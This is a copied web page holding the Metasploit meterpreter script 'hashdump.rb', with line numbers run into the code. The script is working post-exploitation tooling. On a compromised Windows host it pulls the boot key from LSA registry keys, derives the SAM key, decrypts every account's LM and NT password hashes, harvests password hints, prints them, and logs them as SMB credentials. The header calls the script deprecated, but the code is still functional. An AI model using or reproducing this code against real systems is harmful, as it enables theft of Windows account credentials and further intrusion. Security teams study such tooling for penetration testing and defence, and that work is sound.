Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/hashdump.rb
Views: 11767
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567#8# Implement pwdump (hashdump) through registry reads + syskey910@client = client11opts = Rex::Parser::Arguments.new(12"-h" => [ false, "Help menu." ],13"-p" => [ true, "The SMB port used to associated credentials."]14)1516smb_port = 4451718opts.parse(args) { |opt, idx, val|19case opt20when "-h"21print_line "hashdump -- dump SMB hashes to the database"22print_line(opts.usage)23raise Rex::Script::Completed24when "-p"25smb_port = val.to_i26end27}2829# Constants for SAM decryption30@sam_lmpass = "LMPASSWORD\x00"31@sam_ntpass = "NTPASSWORD\x00"32@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"33@sam_numeric = "0123456789012345678901234567890123456789\x00"34@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")35@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")3637@des_odd_parity = [381, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,3916, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,4032, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,4149, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,4264, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,4381, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,4497, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,45112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,46128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,47145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,48161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,49176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,50193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,51208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,52224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,53241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,25454]5556def capture_boot_key57bootkey = ""58basekey = "System\\CurrentControlSet\\Control\\Lsa"59%W{JD Skew1 GBG Data}.each do |k|60ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)61return nil if not ok62bootkey << [ok.query_class.to_i(16)].pack("V")63ok.close64end6566keybytes = bootkey.unpack("C*")67descrambled = ""68# descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]69descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]70710.upto(keybytes.length-1) do |x|72descrambled << [ keybytes[ descrambler[x] ] ].pack("C")73end747576descrambled77end7879def capture_hboot_key(bootkey)80ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)81return if not ok82vf = ok.query_value("F")83return if not vf84vf = vf.data85ok.close8687hash = Digest::MD5.new88hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)8990rc4 = OpenSSL::Cipher::Cipher.new("rc4")91rc4.key = hash.digest92hbootkey = rc4.update(vf[0x80, 32])93hbootkey << rc4.final94return hbootkey95end9697def capture_user_keys98users = {}99ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)100return if not ok101102ok.enum_key.each do |usr|103uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)104next if usr == 'Names'105users[usr.to_i(16)] ||={}106users[usr.to_i(16)][:F] = uk.query_value("F").data107users[usr.to_i(16)][:V] = uk.query_value("V").data108109#Attempt to get Hints (from Win7/Win8 Location)110begin111users[usr.to_i(16)][:UserPasswordHint] = decode_windows_hint(uk.query_value("UserPasswordHint").data.unpack("H*")[0])112rescue ::Rex::Post::Meterpreter::RequestError113users[usr.to_i(16)][:UserPasswordHint] = nil114end115116uk.close117end118ok.close119120ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)121ok.enum_key.each do |usr|122uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)123r = uk.query_value("")124rid = r.type125users[rid] ||= {}126users[rid][:Name] = usr127128#Attempt to get Hints (from WinXP Location) only if it's not set yet129if users[rid][:UserPasswordHint].nil?130begin131uk_hint = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ)132users[rid][:UserPasswordHint] = uk_hint.query_value("").data133rescue ::Rex::Post::Meterpreter::RequestError134users[rid][:UserPasswordHint] = nil135end136end137138uk.close139end140ok.close141users142end143144def decrypt_user_keys(hbootkey, users)145users.each_key do |rid|146user = users[rid]147148hashlm_enc = ""149hashnt_enc = ""150151hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc152153#Check if hashes exist (if 20, then we've got a hash)154lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false155nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false156157#If we have a hashes, then parse them (Note: NT is dependent on LM)158hashlm_enc = user[:V][hoff + 4, 16] if lm_exists159hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists160161user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)162user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)163end164165users166end167168def decode_windows_hint(e_string)169d_string = ""170e_string.scan(/..../).each do |chunk|171bytes = chunk.scan(/../)172d_string += (bytes[1] + bytes[0]).to_s.hex.chr173end174d_string175end176177def convert_des_56_to_64(kstr)178key = []179str = kstr.unpack("C*")180181key[0] = str[0] >> 1182key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)183key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)184key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)185key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)186key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)187key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)188key[7] = str[6] & 0x7F1891900.upto(7) do |i|191key[i] = ( key[i] << 1)192key[i] = @des_odd_parity[key[i]]193end194195key.pack("C*")196end197198def rid_to_key(rid)199200s1 = [rid].pack("V")201s1 << s1[0,3]202203s2b = [rid].pack("V").unpack("C4")204s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")205s2 << s2[0,3]206207[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]208end209210def decrypt_user_hash(rid, hbootkey, enchash, pass)211212if(enchash.empty?)213case pass214when @sam_lmpass215return @sam_empty_lm216when @sam_ntpass217return @sam_empty_nt218end219return ""220end221222des_k1, des_k2 = rid_to_key(rid)223224d1 = OpenSSL::Cipher::Cipher.new('des-ecb')225d1.padding = 0226d1.key = des_k1227228d2 = OpenSSL::Cipher::Cipher.new('des-ecb')229d2.padding = 0230d2.key = des_k2231232md5 = Digest::MD5.new233md5.update(hbootkey[0,16] + [rid].pack("V") + pass)234235rc4 = OpenSSL::Cipher::Cipher.new('rc4')236rc4.key = md5.digest237okey = rc4.update(enchash)238239d1o = d1.decrypt.update(okey[0,8])240d1o << d1.final241242d2o = d2.decrypt.update(okey[8,8])243d1o << d2.final244d1o + d2o245end246if client.platform == 'windows'247begin248249print_status("Obtaining the boot key...")250bootkey = capture_boot_key251252print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")253hbootkey = capture_hboot_key(bootkey)254255print_status("Obtaining the user list and keys...")256users = capture_user_keys257258print_status("Decrypting user keys...")259users = decrypt_user_keys(hbootkey, users)260261print_status("Dumping password hints...")262print_line()263hint_count = 0264users.keys.sort{|a,b| a<=>b}.each do |rid|265#If we have a hint then print it266if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0267print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\""268hint_count += 1269end270end271print_line("No users with password hints on this system") if hint_count == 0272print_line()273274print_status("Dumping password hashes...")275print_line()276print_line()277users.keys.sort{|a,b| a<=>b}.each do |rid|278hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::"279@client.framework.db.report_auth_info(280:host => client.sock.peerhost,281:port => smb_port,282:sname => 'smb',283:user => users[rid][:Name],284:pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0],285:type => "smb_hash"286)287288print_line hashstring289290end291print_line()292print_line()293294rescue ::Interrupt295raise $!296rescue ::Rex::Post::Meterpreter::RequestError => e297print_error("Meterpreter Exception: #{e.class} #{e}")298print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")299rescue ::Exception => e300print_error("Error: #{e.class} #{e} #{e.backtrace}")301end302else303print_error("This version of Meterpreter is not supported with this Script!")304raise Rex::Script::Completed305end306307308